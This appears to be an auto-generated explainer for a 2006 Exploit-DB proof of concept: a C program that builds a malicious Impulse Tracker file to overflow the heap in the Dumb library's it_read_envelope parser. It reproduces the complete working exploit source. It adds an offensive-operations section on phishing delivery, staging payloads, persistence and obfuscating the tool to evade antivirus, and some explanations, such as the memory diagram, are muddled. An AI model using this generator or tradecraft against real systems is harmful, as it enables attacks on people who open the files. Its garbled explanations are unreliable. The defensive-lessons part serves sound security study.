Dumb 0.9.3 'it_read_envelope' Remote Heap Overflow Explained

Dumb 0.9.3 'it_read_envelope' Remote Heap Overflow Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a heap overflow vulnerability in the Dumb music tracker software, specifically versions up to 0.9.3. The vulnerability exists in the it_read_envelope function, which is responsible for parsing instrument envelope data within IT (Impulse Tracker) files. By crafting a malicious IT file, an attacker could trigger this overflow, potentially leading to a denial-of-service (DoS) or, in more complex scenarios, arbitrary code execution. This PoC focuses on demonstrating the overflow condition.
Simple technical breakdown
The core of the vulnerability lies in how the Dumb software handles instrument envelope data. When processing an IT file, the software reads envelope information for instruments. This envelope data includes points that define how an instrument's volume, pan, or pitch changes over time.
The it_read_envelope function, when parsing the "pitch envelope" section, expects a certain amount of data. However, if the number of envelope nodes specified is excessively large, it can lead to writing beyond the allocated buffer for the instrument's data structure on the heap. This "heap overflow" overwrites adjacent memory, which can corrupt program state or crash the application.
This PoC works by creating a specially crafted IT file. It sets a very large number of envelope nodes for the pitch envelope. When Dumb tries to read this, it attempts to write more data than the buffer can hold, causing the overflow.
Complete code and payload walkthrough
The provided code is a C program designed to generate a malicious IT file. Let's break down its components:
Includes and Definitions:
#include <stdio.h>: Standard input/output functions.#include <stdlib.h>: Standard library functions (likeexit).#include <string.h>: String manipulation functions (likememcpy,strncpy).#include <stdint.h>: Fixed-width integer types (likeuint8_t,uint16_t,uint32_t).#define VER "0.1": Defines the version of the PoC.#define BOF 255: Defines a constantBOF(Buffer Overflow) set to 255. This value is crucial as it represents the number of envelope nodes that will be used to trigger the overflow. The comment// 25 < BOF < 256suggests that values between 25 and 256 are relevant for triggering the bug.#define INSTRSZ 371: Defines the size of theIT_INSTRUMENTstructure, which is 371 bytes. This is important for understanding how much space is available before the overflow occurs.#define POCNAME "proof-of-concept": A string used for filenames and other identifiers within the generated IT file.
Helper Functions:
These functions are responsible for writing different data types (8-bit, 16-bit, 32-bit integers, strings, raw memory) to the output file in either little-endian (fwi prefix) or big-endian (fwb prefix) format. The fwi functions are used in this PoC.
void fwi08(FILE *fd, int num): Writes a single byte (least significant byte ofnum).void fwi16(FILE *fd, int num): Writes a 16-bit integer in little-endian format.void fwi32(FILE *fd, int num): Writes a 32-bit integer in little-endian format.void fwb08(FILE *fd, int num): Writes a single byte (least significant byte ofnum). (Not used in PoC)void fwb16(FILE *fd, int num): Writes a 16-bit integer in big-endian format. (Not used in PoC)void fwb32(FILE *fd, int num): Writes a 32-bit integer in big-endian format. (Not used in PoC)void fwstr(FILE *fd, uint8_t *str): Writes a null-terminated string. (Not used in PoC)void fwstx(FILE *fd, uint8_t *str, int size): Writes a string up tosizebytes, padding with nulls if necessary. (Not used in PoC)void fwmem(FILE *fd, uint8_t *data, int size): Writes a block of raw memory. (Not used in PoC)int bits2num(uint8_t *bits): Converts a string of '0' and '1' characters to an integer. (Not used in PoC)void std_err(void): Prints an error message and exits.
Data Structures:
These structures represent parts of the IT file format. The #pragma pack(1) directive ensures that these structures are packed tightly in memory, matching the file format without padding.
typedef struct { ... } it_t;: Represents the main IT file header.uint8_t sign[4]: Magic bytes, expected to be "IMPM".uint8_t name[26]: Song name.uint16_t PHiligt: Unknown (likely related to highlighting).uint16_t OrdNum: Number of orders (song sequence).uint16_t InsNum: Number of instruments.uint16_t SmpNum: Number of samples.uint16_t PatNum: Number of patterns.uint16_t Cwtv: Unknown (likely related to tempo/speed).uint16_t Cmwt: Unknown (likely related to tempo/speed).uint16_t Flags: File flags.uint16_t Special: Special flags.uint8_t GV: Global volume.uint8_t MV: Master volume.uint8_t IS: Unknown.uint8_t IT: Unknown.uint8_t Sep: Unknown.uint8_t PWD: Unknown.uint16_t MsgLgth: Length of message.uint32_t MsgOff: Offset to message.uint32_t Reserved: Reserved.
typedef struct { ... } it_env_t;: Represents an instrument envelope segment.uint8_t Flg: Envelope flags.uint8_t Num: Number of nodes in this envelope.uint8_t LpB: Loop start point.uint8_t LpE: Loop end point.uint8_t SLB: Sustain loop start point.uint8_t SLE: Sustain loop end point.// int8_t node_y[25];: Commented out, but implies space for Y-coordinates of nodes.// uint16_t node_t[25];: Commented out, but implies space for X-coordinates (time) of nodes.
typedef struct { ... } it_ins_t;: Represents an instrument header.uint8_t sign[4]: Magic bytes, expected to be "IMPI".uint8_t filename[13]: Sample filename.uint8_t NNA: Note Action.uint8_t DCT: Duplicate check type.uint8_t DCA: Duplicate check action.uint16_t FadeOut: Fade out.uint8_t PPS: Pitch per step.uint8_t PPC: Pitch per cent.uint8_t GbV: Global volume.uint8_t DfP: Default pan.uint8_t RV: Reverse.uint8_t RP: Reverse position.uint16_t TrkVers: Tracker version.uint16_t NoS: Number of samples.uint8_t insname[26]: Instrument name.uint8_t IFC: Unknown.uint8_t IFR: Unknown.uint8_t MCh: MIDI channel.uint8_t MPr: MIDI program.uint16_t MIDIBnk: MIDI bank.uint8_t nsample[120]: Sample data (this is where the overflow occurs).uint8_t ktable[120]: Key table.
main function:
Initialization:
setbuf(stdout, NULL);: Disables output buffering forstdout, ensuring immediate display of messages.- Prints introductory information about the exploit.
- Checks if a filename argument is provided. If not, it prints usage instructions and exits.
fname = argv[1];: Stores the output filename.printf("- create file %s\n", fname);: Informs the user about file creation.fd = fopen(fname, "wb");: Opens the specified file in binary write mode.if(!fd) std_err();: Handles file opening errors.
IT Header (
it_t) Setup:memset(&it, 0, sizeof(it));: Initializes theit_tstructure with zeros.memcpy(it.sign, "IMPM", 4);: Sets the magic bytes for the IT header.strncpy(it.name, POCNAME, sizeof(it.name));: Sets the song name.it.Cmwt = 0x200;: Sets a tempo-related field.it.OrdNum = 1;: Sets the number of orders to 1 (required).it.InsNum = 1;: Sets the number of instruments to 1. This is crucial because the vulnerability is in how envelopes are read for instruments.off = sizeof(it) + 64 + 64 + (it.OrdNum * 1) + (it.InsNum * 4) + (it.SmpNum * 4) + (it.PatNum * 4);: Calculates an offset. This offset seems to be related to the total size of data preceding the instrument data in the file.it.SmpNumandit.PatNumare 0, so these terms are zero.for(i = 0; i < off; i++) fputc(0, fd);: Writesoffnull bytes to the file. This creates space for the header and other initial data before writing the actual instrument.
Instrument Header (
it_ins_t) Setup:memset(&it_ins, 0, sizeof(it_ins));: Initializes theit_ins_tstructure with zeros.memcpy(it_ins.sign, "IMPI", 4);: Sets the magic bytes for the instrument header.strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename));: Sets the sample filename.strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname));: Sets the instrument name.fwrite(&it_ins, sizeof(it_ins), 1, fd);: Writes the instrument header to the file.
Envelope Data Generation (The Vulnerability Trigger):
This section writes the envelope data for the instrument. The vulnerability is triggered in the "pitch envelope" section.- Volume Envelope:
memset(&it_env, 0, sizeof(it_env));: Initializesit_env.it_env.Num = 25;: Sets the number of nodes to 25.fwrite(&it_env, sizeof(it_env), 1, fd);: Writes the envelope header.- The loop writes 25 pairs of
0x61(y-coordinate) and0x6161(x-coordinate/time). - The subsequent loop fills the remaining space up to 75 bytes with zeros. This is standard padding for a 25-node envelope.
- Pan Envelope:
- Similar to the volume envelope, but uses
0x62and0x6262for data.
- Similar to the volume envelope, but uses
- Pitch Envelope (Vulnerability Trigger):
it_env.Num = BOF;: This is the critical part.BOFis defined as 255. This tells the parser that there are 255 nodes in this envelope.fwrite(&it_env, sizeof(it_env), 1, fd);: Writes the envelope header withNum = 255.for(i = 0; i < it_env.Num; i++) { fwi08(fd, 0xff); fwi16(fd, 0xffff); }: This loop writes 255 pairs of envelope node data. Each pair consists of a 1-byte y-coordinate (0xff) and a 2-byte x-coordinate (0xffff)./* 0xff is used for overwriting sampfirst with a negative value! */: This comment suggests the intent of using0xffmight be to cause a specific memory corruption effect./* m = component[n].sampfirst; */: This comment refers to a variable within the Dumb source code that is likely being overwritten./* Note: this PoC is not optimized */: Indicates that this is a basic demonstration, not a refined exploit.- The code then prints a message indicating the expected overflow size:
((BOF - 25) * sizeof(unsigned short)) + INSTRSZ. This calculation is(255 - 25) * 2 + 371 = 230 * 2 + 371 = 460 + 371 = 831bytes written, whileINSTRSZ(371 bytes) is the size of the instrument structure. This confirms that data will be written beyond theIT_INSTRUMENTstructure.
- Volume Envelope:
Rewriting Header and Initial Data:
fseek(fd, 0, SEEK_SET);: Moves the file pointer back to the beginning of the file.fwrite(&it, sizeof(it), 1, fd);: Writes the main IT header.for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan: Writes 64 null bytes for channel pan data.for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume: Writes 64 null bytes for channel volume data.for(i = 0; i < it.OrdNum; i++) { fwi08(fd, 255); }: Writes the order list.255is used here, which might be related to how the software handles end-of-list or error conditions.for(i = 0; i < it.InsNum; i++) { fwi32(fd, off); }: Writes instrument offsets. Sinceit.InsNumis 1, it writes one 32-bit value (off).- Commented-out lines for sample and pattern offsets, and message data, indicating they are not relevant for this specific PoC.
Cleanup:
fclose(fd);: Closes the output file.printf("- finished\n");: Indicates completion.return(0);: Exits the program successfully.
Code Fragment/Block -> Practical Purpose Mapping:
#define BOF 255: Sets the number of envelope nodes to a value that exceeds the buffer capacity for pitch envelopes.#define INSTRSZ 371: Defines the expected size of theIT_INSTRUMENTstructure, providing context for the overflow.it_env.Num = BOF;: Explicitly sets the number of envelope nodes to the overflow-inducing value.fwi08(fd, 0xff); fwi16(fd, 0xffff);: Writes the data for each envelope node, contributing to the overflow.fseek(fd, 0, SEEK_SET); fwrite(&it, sizeof(it), 1, fd);: Rewrites the main header and initial data after the instrument data has been prepared, ensuring the file structure is valid up to that point.
Shellcode/Payload Segments:
There is no explicit shellcode or payload in the traditional sense within this C code. The "payload" is the crafted IT file itself. When the vulnerable Dumb software parses this IT file, the overflow occurs. The 0xff and 0xffff values written repeatedly are intended to corrupt memory. The comment /* 0xff is used for overwriting sampfirst with a negative value! */ suggests that the goal is to manipulate a pointer or size variable (sampfirst) within the IT_INSTRUMENT structure, leading to a crash or potentially a controllable memory write. The PoC itself doesn't contain code to be executed on the target system; it's a data file that exploits a vulnerability in another program.
Practical details for offensive operations teams
- Required Access Level: Network access to deliver the malicious IT file to a user or system running the vulnerable Dumb software. No elevated privileges are required on the target system itself, as the exploit relies on the user opening the file with the vulnerable application.
- Lab Preconditions:
- A vulnerable version of the Dumb tracker software installed on a test system. This would likely be an older Windows system or a virtual machine configured with such an environment.
- The PoC C code compiled into an executable.
- A method to transfer the generated IT file to the target.
- Tooling Assumptions:
- A C compiler (e.g., GCC, MinGW) to compile the PoC.
- A text editor to review the source code.
- A hex editor or file comparison tool to analyze the generated IT file and compare it against a known good IT file.
- A debugger (e.g., WinDbg, GDB) attached to the Dumb application to observe memory corruption and crashes during testing.
- Execution Pitfalls:
- Version Specificity: The exploit is highly specific to Dumb versions 0.9.3 and earlier. Newer versions will likely have patched this vulnerability.
- File Format Variations: While the IT format is standardized, slight variations or corrupted files might not trigger the vulnerability as expected.
- Environment Differences: The exact memory layout and heap behavior can vary slightly between operating systems and compiler versions, potentially affecting the reliability of the overflow.
- Denial of Service vs. Code Execution: This PoC is primarily designed to demonstrate a DoS. Achieving reliable code execution would require significant further research to control the overwritten memory and inject shellcode, which is not present here. The
0xffvalues might not lead to predictable memory corruption for exploitation. - Antivirus/EDR: While the IT file itself might not be flagged, the act of generating it or the PoC executable could be detected by security software.
- Tradecraft Considerations:
- Delivery Mechanism: Phishing emails with the malicious IT file attached, social engineering to convince users to open it, or placing the file on a shared network drive.
- Staging: If code execution were possible, the initial payload would likely be a small stager to download and execute a more complex payload.
- Persistence: Not applicable for this DoS PoC. If code execution were achieved, persistence mechanisms would be employed.
- Evasion: The IT file format itself is not inherently suspicious. The PoC executable might require obfuscation or careful handling to avoid detection.
Where this was used and when
- Context: This vulnerability was likely discovered and published around the time of its release, mid-2006. It would have been relevant for individuals or organizations using the Dumb tracker software for music creation or playback on older systems.
- Usage: As a Proof-of-Concept, its primary use was for:
- Demonstrating the vulnerability: To inform the software developers and the security community about the flaw.
- Security research: As a basis for further analysis and potential exploitation.
- Educational purposes: To teach about heap overflow vulnerabilities.
- Specific Incidents: There are no widely documented public reports of this specific vulnerability being exploited in the wild for malicious purposes. PoCs are often created to highlight flaws rather than being immediately weaponized.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate the size and content of user-supplied input, especially when parsing complex file formats. The
it_read_envelopefunction failed to properly check theNumfield against the allocated buffer size. - Secure Parsing Libraries: Use well-vetted and actively maintained libraries for parsing file formats. These libraries often incorporate robust error handling and security checks.
- Heap Protection Mechanisms: Modern operating systems and compilers employ heap protection techniques (e.g., heap cookies, guard pages) that make heap overflows more difficult to exploit reliably.
- Fuzzing: Regularly fuzzing applications with malformed or unexpected inputs is a crucial proactive security measure to discover such vulnerabilities before they can be exploited.
- Software Updates: Keeping software up-to-date is the most effective defense against known vulnerabilities. Users should always apply patches and updates promptly.
- Least Privilege: Running applications with the minimum necessary privileges can limit the impact of a successful exploit, even if it leads to code execution.
ASCII visual (if applicable)
This PoC involves file parsing and memory corruption. An ASCII visual can illustrate the file structure and the overflow.
+---------------------------------+
| IT File Header (it_t) |
+---------------------------------+
| Channel Pan Data (64 bytes) |
+---------------------------------+
| Channel Volume Data (64 bytes) |
+---------------------------------+
| Order List (OrdNum * 1 byte) |
+---------------------------------+
| Instrument Offsets (InsNum * 4 bytes) |
+---------------------------------+
| ... other data ... |
+---------------------------------+
| Instrument Header (it_ins_t) |
+---------------------------------+
| Volume Envelope Data |
+---------------------------------+
| Pan Envelope Data |
+---------------------------------+
| Pitch Envelope Header (it_env_t)|
| Num = 255 (BOF) |
+---------------------------------+
| Pitch Envelope Nodes (255 * 3 bytes) |
| (0xff, 0xffff) ... | <--- OVERFLOW STARTS HERE
+---------------------------------+
| ... data that should be here ...| <--- OVERWRITTEN DATA
+---------------------------------+
| IT_INSTRUMENT Structure (INSTRSZ)|
| ... |
| sampfirst (target for overwrite?) |
| ... |
+---------------------------------+
| ... rest of file ... |
+---------------------------------+Explanation:
The diagram shows a simplified view of the IT file structure. The vulnerability occurs when the Pitch Envelope is parsed. The it_env_t structure declares Num as 255. The code then proceeds to write 255 entries, each consisting of a byte and a 2-byte value. This data is intended to be written within the IT_INSTRUMENT structure. However, because the number of nodes (255) is too large for the allocated space within the IT_INSTRUMENT structure (specifically, the nsample and ktable fields, totaling 120 + 120 = 240 bytes, plus other fields), the writing process continues beyond the end of the IT_INSTRUMENT structure, overwriting adjacent memory. The INSTRSZ (371 bytes) represents the total size of the IT_INSTRUMENT structure, and the overflow occurs when data is written beyond this boundary.
Source references
- Paper ID: 2037
- Paper Title: Dumb 0.9.3 - 'it_read_envelope' Remote Heap Overflow (PoC)
- Author: Luigi Auriemma
- Published: 2006-07-19
- Paper URL: https://www.exploit-db.com/papers/2037
- Raw URL: https://www.exploit-db.com/raw/2037
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define VER "0.1"
#define BOF 255 // 25 < BOF < 256
#define INSTRSZ 371
#define POCNAME "proof-of-concept"
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwb08(FILE *fd, int num);
void fwb16(FILE *fd, int num);
void fwb32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwstx(FILE *fd, uint8_t *str, int size);
void fwmem(FILE *fd, uint8_t *data, int size);
int bits2num(uint8_t *bits);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t sign[4]; // IMPM
uint8_t name[26];
uint16_t PHiligt;
uint16_t OrdNum;
uint16_t InsNum;
uint16_t SmpNum;
uint16_t PatNum;
uint16_t Cwtv;
uint16_t Cmwt;
uint16_t Flags;
uint16_t Special;
uint8_t GV;
uint8_t MV;
uint8_t IS;
uint8_t IT;
uint8_t Sep;
uint8_t PWD;
uint16_t MsgLgth;
uint32_t MsgOff;
uint32_t Reserved;
} it_t;
typedef struct {
uint8_t Flg;
uint8_t Num;
uint8_t LpB;
uint8_t LpE;
uint8_t SLB;
uint8_t SLE;
// int8_t node_y[25];
// uint16_t node_t[25];
} it_env_t;
typedef struct {
uint8_t sign[4]; // IMPI
uint8_t filename[13];
uint8_t NNA;
uint8_t DCT;
uint8_t DCA;
uint16_t FadeOut;
uint8_t PPS;
uint8_t PPC;
uint8_t GbV;
uint8_t DfP;
uint8_t RV;
uint8_t RP;
uint16_t TrkVers;
uint16_t NoS;
uint8_t insname[26];
uint8_t IFC;
uint8_t IFR;
uint8_t MCh;
uint8_t MPr;
uint16_t MIDIBnk;
uint8_t nsample[120];
uint8_t ktable[120];
} it_ins_t;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
it_t it;
it_ins_t it_ins;
it_env_t it_env;
int i,
off;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <output_file.IT>\n"
"\n"
"Note: this proof-of-concept is not optimized, it gives only an idea of the bug\n"
"\n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
memset(&it, 0, sizeof(it));
memcpy(it.sign, "IMPM", 4);
strncpy(it.name, POCNAME, sizeof(it.name));
it.Cmwt = 0x200;
it.OrdNum = 1; // required
it.InsNum = 1; // envelope is read here
off =
sizeof(it) +
64 +
64 +
(it.OrdNum * 1) +
(it.InsNum * 4) +
(it.SmpNum * 4) +
(it.PatNum * 4);
for(i = 0; i < off; i++) fputc(0, fd); // create needed space
/* it_read_instrument */
memset(&it_ins, 0, sizeof(it_ins));
memcpy(it_ins.sign, "IMPI", 4);
strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename));
strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname));
fwrite(&it_ins, sizeof(it_ins), 1, fd);
/* it_read_envelope */
memset(&it_env, 0, sizeof(it_env));
/* instrument->volume_envelope */
it_env.Num = 25;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0x61); // envelope->node_y[i]
fwi16(fd, 0x6161); // envelope->node_t[i]
}
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
}
/* instrument->pan_envelope */
it_env.Num = 25;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0x62); // envelope->node_y[i]
fwi16(fd, 0x6262); // envelope->node_t[i]
}
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
}
/* instrument->pitch_envelope */
it_env.Num = BOF;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0xff); // envelope->node_y[i]
fwi16(fd, 0xffff); // envelope->node_t[i]
}
/* 0xff is used for overwriting sampfirst with a negative value! */
/* m = component[n].sampfirst; */
/* Note: this PoC is not optimized */
printf(
"- the IT_INSTRUMENT structure will be overflowed:\n"
" there are %d bytes from the end of pitch_envelope to the end of map_sample\n"
" while %d bytes will be written by this proof-of-concept\n",
INSTRSZ,
((BOF - 25) * sizeof(unsigned short)) + INSTRSZ);
/* it_load_sigdata */
fseek(fd, 0, SEEK_SET);
fwrite(&it, sizeof(it), 1, fd);
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume
for(i = 0; i < it.OrdNum; i++) {
fwi08(fd, 255); // sigdata->order
} // 255 for found_some = 0 or will SIGFPE
for(i = 0; i < it.InsNum; i++) {
fwi32(fd, off); // component[n_components].offset
}
// for(i = 0; i < it.SmpNum; i++) fwi32(fd, off);
// for(i = 0; i < it.PatNum; i++) fwi32(fd, off);
// for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a');
fclose(fd);
printf("- finished\n");
return(0);
}
void fwi08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwi16(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void fwb08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwb16(FILE *fd, int num) {
fputc((num >> 8) & 0xff, fd);
fputc((num ) & 0xff, fd);
}
void fwb32(FILE *fd, int num) {
fputc((num >> 24) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num ) & 0xff, fd);
}
void fwstr(FILE *fd, uint8_t *str) {
fputs(str, fd);
}
void fwstx(FILE *fd, uint8_t *str, int size) {
int i;
for(i = 0; str[i] && (i < size); i++) {
fputc(str[i], fd);
}
for(; i < size; i++) {
fputc(0, fd);
}
}
void fwmem(FILE *fd, uint8_t *data, int size) {
fwrite(data, size, 1, fd);
}
int bits2num(uint8_t *bits) {
int i,
out = 0;
for(i = 0; i < 32; i++) {
if(bits[i] == '1') {
out = (out << 1) | 1;
} else if(bits[i] == '0') {
out <<= 1;
} else {
break;
}
}
return(out);
}
void std_err(void) {
perror("\nError");
exit(1);
}
// milw0rm.com [2006-07-19]